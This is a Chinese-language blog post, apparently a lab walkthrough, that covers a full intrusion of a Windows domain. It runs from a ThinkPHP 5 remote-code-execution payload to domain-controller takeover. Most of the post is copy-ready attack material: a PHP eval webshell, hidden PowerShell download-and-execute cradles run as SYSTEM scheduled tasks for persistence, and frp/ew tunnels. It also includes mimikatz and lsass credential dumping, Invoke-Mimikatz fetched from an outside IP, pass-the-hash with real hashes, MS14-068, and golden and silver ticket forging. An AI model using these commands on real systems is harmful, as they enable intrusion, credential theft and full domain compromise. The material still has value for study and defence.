内网渗透初探(二) | 重新学习内网渗透全过程

一、前言

前面写了一篇内网渗透初探(一),写的不是特别好,然后也是在学习内网渗透相关的东西,就将其整理了一下,加了自己的思路,写好这篇内网渗透初探(二)~

二、环境介绍

专门做了个拓扑图,首先外网打点,然后内网穿透,进域内,攻击域主机2、域主机1,通过pth、ptt的方式拿下域控。

image.png

三、外网打点

1、打开站点,为thinkphp默认页,版本为tp5

image.png

2、尝试几个EXP后,成功执行命令

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

image.png

3、简单判断系统为Windows

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ipconfig

image.png

4、获取当前目录路径

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=chdir

image.png

5、在当前目录写入一句话木马123.php

http://192.168.31.32/public/index.php?s=captcha
​
[post]
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval($_REQUEST[1])?>" >123.php

image.png

6、测试代码执行 http://192.168.31.32/public/123.php?1=phpinfo();

image.png

7、蚁剑连接

image.png

8、上传CS马123.exe

image.png

9、执行并上线

image.png

四、权限维持

(一)、设置延迟时间

单独拎出来是因为之前有的人问我为什么他执行的命令要等好久才有响应,这里大概说明一下。CS作为红队协作工具,具有服务端和客户端,目标主机和服务器默认60秒通信一次,也是作为一定的隐蔽而存在的,所以一般我会设置为sleep 2,不快不慢刚刚好。

image.png

(二)、进程迁移

1、首先查看进程列表

image.png

2、选择需要注入的进程并点击inject进行注入(进程可以选择一些比较常见的,不会常关闭的进程,如explorer.exe)

image.png

3、然后便可以获取一个基于explorer.exe的shell

image.png

(三)、启动项

1、将需要执行的exe文件复制到启动文件夹下即可。 复制到的路径是windows启动路径,当系统重启之后,会默认运行里面的程序

shell copy "123.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

image.png

有条件的话,可以将快捷方式放过去,将木马隐藏在某文件夹下,命名为win.exe或system.exe,也算是做了一层隐蔽。

(四)、计划任务

1、生成powershell上线语句

image.png

image.png

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))"

2、运行语句即会上线CS

image.png

3、设置计划任务(每隔一个小时,以system权限执行命令)

其他启动时间参数:
/sc onlogon  用户登录时启动
/sc onstart  系统启动时启动
/sc onidle   系统空闲时启动
shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /ru system /f

image.png

4、启动计划任务

shell schtasks /run /i /tn "win"

5、设置计划任务(用户登录时启动)

shell schtasks /create /tn win1 /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))'" /sc ONLOGON
shell schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:10081/a'))\""

6、删除计划任务

shell schtasks /delete /tn win2 /f

7、同样的,不仅仅可以放powershell语句,放木马文件路径也是一样的。

shell schtasks /create /tn win /sc HOURLY /mo 1 /tr "C:\Windows\Temp\123.exe" /ru system /f

五、主机信息收集

CS中:shell+命令即可

//主机信息
systeminfo

//网络信息
ipconfig /all

//路由表
arp -a

//进程,查AV
tasklist

//端口占用情况
netstat -ano

//是否域环境
net user /domain

//是否出网
ping baidu.com -n 2

image.png

image.png

image.png

抓取浏览器保存的密码,以及横向目标主机 https://github.com/QAX-A-Team/BrowserGhost 上传并执行

image.png

image.png

六、隧道搭建

(一)、ew

1、先传入ew软件

image.png

2、服务器上执行如下命令

./ew_for_linux64 -s rcsocks -l 1080 -e 8888

image.png

3、受害机器上执行如下命令

execute "E:\New File\WWW\phpStudy\WWW\public\ew.exe"  -s rssocks -d xx.xx.xx.xx -e 8888

image.png

4、设置连接服务器等socks即可

image.png

image.png

5、成功访问到内网

image.png

(二)、frp

下载地址 https://github.com/fatedier/frp/releases/tag/v0.38.0 1、服务器frps1.ini设置

[common]
bind_addr = 0.0.0.0
bind_port = 7080
token = admin123
dashboard_user = admin
dashboard_pwd = admin123

2、运行命令

./frps -c frps1.ini

image.png

3、将frpc.exe和frpc.ini上传到受害机

image.png

frpc.ini配置如下:

[common]
server_addr = IP
server_port = 7080
token = admin123
tls_enable=true
pool_count=5
[plugin_socks] 
type = tcp 
remote_port = 4567
plugin = socks5 
plugin_user = admin
plugin_passwd = admin123
use_encryption = true 
use_compression = true

4、运行命令

shell "C:\Windows\temp\frpc.exe -c C:\Windows\temp\frpc.ini"

image.png

5、在服务器上可以看到,已经有连接返回了

image.png

6、设置proxifier指向服务器,注意设置账号密码

image.png

image.png

7、成功访问到目标内网

image.png

七、横向移动1

1、前面获取了phpmyadmin的账号密码,尝试登录

image.png

2、获取数据库路径

select @@datadir;

image.png

3、在变量中也可以大概判断出一些路径信息

image.png

4、修改日志路径

image.png

5、通过查询一句话木马来写入到123.php中

select '<?php eval($_REQUEST[1]); ?>';

image.png

6、执行完后,尝试执行phpinfo成功

image.png

7、蚁剑连接

image.png

8、新建一个管理员用户,显示权限不足

image.png

9、这里先简单用potato提权,后面会列举几个提权方法

image.png

10、将用户添加到管理员组

image.png

八、内网信息收集

(一)、基础信息收集

1、检测获取的shell当前权限

whoami /user && whoami /priv

image.png

2、查询网络配置信息

ipconfig /all              // 本机IP等信息
arp -a                     // arp缓存
netstat -ano        //查询端口连接情况

image.png

重点关注一下DNS服务器,有可能就是当前所在域的域控

image.png

image.png

image.png

3、查询系统信息

systeminfo

image.png

4、其他信息收集可以使用脚本 http://www.fuzzysecurity.com/scripts/files/wmic_info.rar 直接执行即可

image.png

会在目录下新建一个out.html 打开里面即是收集到到信息

image.png

(二)、域内信息收集

查看当前登陆域
net config workstation

查询域用户
net user /domain

查询指定域用户详细信息
net user xxx /domain   

查询域控制器
net time /domain

获取域内用户详细信息
wmic useraccount get /all

查询域控制器主机名
nltest /DCLIST:god 

image.png

image.png

image.png

1. 定位域控制器

1、基于ping主域来获取

ping ajie.cool -n 2

image.png

2、查询dns服务器

ipconfig /all

image.png

3、查询dns解析记录

nslookup -type=all _ldap._tcp.dc._msdcs.<域名>

image.png

2. 存活主机探测

基于netbios协议

工具: nbtscan 将nbtscan.exe上传到目标主机上

image.png

执行命令扫描当前主机所在C段

nbtscan-1.0.35.exe 192.168.30.0/24

image.png

基于ICMP协议

工具: ping命令 相当于使用ping来探测主机存活(特点就是慢。。。)

for /l %i in (1,1,255) do @ ping 192.168.30.%i -w 1 -n 1|find /i "ttl="

image.png

基于ARP协议

工具: arp-scan.exe 下载地址: https://github.com/QbsuranAlang/arp-scan-windows- 将文件上传到目标主机上,执行如下命令: arp-scan.exe -t <IP/IP段>

image.png

九、提权

image.png

(一)、内核提权

查询安装的补丁情况,通过在线工具查询可能存在的内核提权

获取安装补丁的方法:
1、systeminfo
systeminfo | findstr KB

2、wmic
wmic qfe get caption,description,hotfixid,installedon

image.png

image.png

image.png

复制补丁号进行查询 在线网站: 提权辅助网页 提权辅助网页 Windows提权辅助 Windows Privilege Escalation Exploit Search -- Windows 提权辅助

image.png

image.png

exp下载地址也可以直接看github https://github.com/Al1ex/WindowsElevation

(二)、potato提权

直接将potato exp工具拉到对应主机上,执行命令即可

potato.exe -p "需要执行的命令"

image.png

(三)、可信任服务路径漏洞提权

这个是一个windows路径解析的问题,如果一个服务的运行路径没有被双引号包裹,并且它的路径中包含有空格,那么就可能可以被利用,当服务运行的权限为system,那么相当于进行了提权。

正常要运行的是service.exe
解析顺序如下:
C:\Program.exe
C:\Program files(x86)\test.exe
C:\Program files(x86)\test upload\service.exe

也就是可以在C盘更目录,将木马文件命名为Program.exe;或者在C:\Program files(x86)\目录下,将木马文件命名为test.exe,就有可能获取到system权限或高权限的shell

探测漏洞是否存在可以通过命令:

wmic service get displayname,startmode,pathname|findstr /i "Auto" | findstr /i /v "C:\Windows\\"

image.png

假设这里使用vmtoolsd.exe为例,首先我在C:\Program Files\VMware\新建一个VMware.exe,这里我把calc.exe放进去,然后重启vmtoolsd.exe服务

image.png

(四)、计划任务提权

前面有提到,让某任务以高权限身份运行即可

schtasks /create /sc MINUTE /mo 1 /tn win2 /tr "C:\cmd.exe" /ru system /f

(五)、psexec提权

PsExec 是一个轻型的 telnet 替代工具,可以无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。 ​

1、通过psexec获取一个system权限的cmd 使用方法:

psexec.exe -sid cmd.exe

image.png

十、横向移动2

(一)、获取Hash的几种方法

1、基于sam和system文件 导出sam和system文件

reg save hklm\system  system.hive
reg save hklm\sam sam.hive

image.png

使用mumitatz读取sam和system文件

lsadump::sam /sam:C:/1/sam.hive /system:C:/1/system.hive

image.png

2、mimikatz

mimikatz.exe privilege::debug sekurlsa::logonpasswords

image.png

image.png

3、procdump 下载地址: ProcDump - Windows Sysinternals | Microsoft Docs

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

image.png

然后在当前目录下会生成一个lsass.dmp文件

image.png

通过mimikatz分析文件获取hash

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

image.png

image.png

4、使用powershell 先在服务器新建一个python web服务,位置为PowerSploit

image.png

在受害机下载脚本并执行

IEX(New-Object Net.WebClient).DownloadString("http://82.156.32.161:4545/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

image.png

(二)、pth的几种方法

前面已经获取了域控制器的hash,那么可以通过hash进行pth攻击

image.png

输入log可以生成日志,方便复制粘贴

image.png

* NTLM     : f1de694efa543bb780da59c049541ea3

1、使用mimikatz进行pth

sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3

image.png

执行完后弹出一个具有域控权限的cmd

image.png

具体可以查看前一篇文章,内网渗透初探

2、使用Crackmapexec kali下进行安装

apt-get install crackmapexec

输入如下命令即可 ​

IP :可以是单个IP也可以是IP段 -u :指定用户名 -H :指定NTLM Hash -d :指定域 -x :执行系统命令

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami

可以看到返回了域控的管理员

image.png

crackmapexec smb 192.168.30.128 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

可以看到执行结果,ip为域控IP

image.png

3、使用impackt工具包 下载地址: https://github.com/SecureAuthCorp/impacket 这里简单列举几个 wmiexec.py

python3 wmiexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

image.png

psexec.py

python3 psexec.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

image.png

smbclient.py

python3 smbclient.py -hashes 00000000000000000000000000000000:f1de694efa543bb780da59c049541ea3 ajie.cool/Administrator@192.168.30.128

image.png

可以执行很多操作

image.png

十一、PTT(票据传递)

(一)、MS14-068

image.png

需要条件:

域内普通用户SID
域内普通用户密码

下载地址: https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2014-6324 1、首先获取了一个域用户权限,在无法提权的情况下,获取用户名和SID

whoami /all

ajie\web S-1-5-21-3296092892-1320626564-2720975204-1105

image.png

2、上传ms14-068.exe,并执行下面的命令

image.png

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码

ms14-068.exe -u web@ajie.cool -s S-1-5-21-3296092892-1320626564-2720975204-1105 -d 192.168.30.128 -p 1234,abcd

image.png

如图成功生成了票据文件

image.png

3、将票据注入到内存中

kerberos::purge         			 //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list          			 //查看当前机器凭证
kerberos::ptc TGT_xxx@domain.cache   //将票据注入到内存中

image.png

4、成功net user 到域控

image.png

5、删除票据之后显示拒绝访问

image.png

(二)、黄金票据

具体可以查看前一篇文章,内网渗透初探 1、在域控机器中,通过mimikatz输入命令获取krbtgt的hash值

privilege::debug
lsadump::dcsync /user:krbtgt

image.png

2、获取制作黄金票据需要的数据

Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204
Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659

原Object Security ID最后面有个-502是作为标识的,在制作时需要手动删除。

3、退出远程桌面,在攻击机通过mimikatz制作黄金票据。执行命令后会生成一个administrator.kiribi文件。

kerberos::golden /admin:administrator /domain:域名 /sid:SID号 /krbtgt:ntlm值 /ticket:生成的票据文件名.kiribi

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

image.png

4、制作完票据之后,先尝试获取域控的c盘的权限,无法获取。

image.png

5、通过mimikatz执行以下命令。

kerberos::purge         			 //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list          			 //查看当前机器凭证
kerberos::ptt administrator.kiribi   //将票据注入到内存中

image.png

6、成功获取域控c盘权限。

image.png

(三)、白银票据

1、导出hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

image.png

image.png

image.png

SID最后的500为标识符,这里不需要;计算机全名也就是mimikatz导出的username+域名

NTLM     : 75f490ed04ba66f04e0e947a185679bd
SID      : S-1-5-21-3296092892-1320626564-2720975204
计算机全名 :AD.ajie.cool

2、在攻击机上执行命令生成票据

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt

kerberos::golden /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /target:AD.ajie.cool /service:cifs /rc4:75f490ed04ba66f04e0e947a185679bd /user:admin123 /ptt

image.png

kerberos::list

image.png

3、前面读取域控文件内容如下

image.png

4、拿到权限后,可以有多个选择

1、传马+计划任务执行
copy win.exe \\AD.ajie.cool\c$
sc \\AD.ajie.cool create bindshell binpath= "c:\win.exe"

2、psexec.exe \\域控地址 cmd.exe

3、其他。。。

我这里用方法2,成功获取了域控的system权限的cmd。

image.png

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值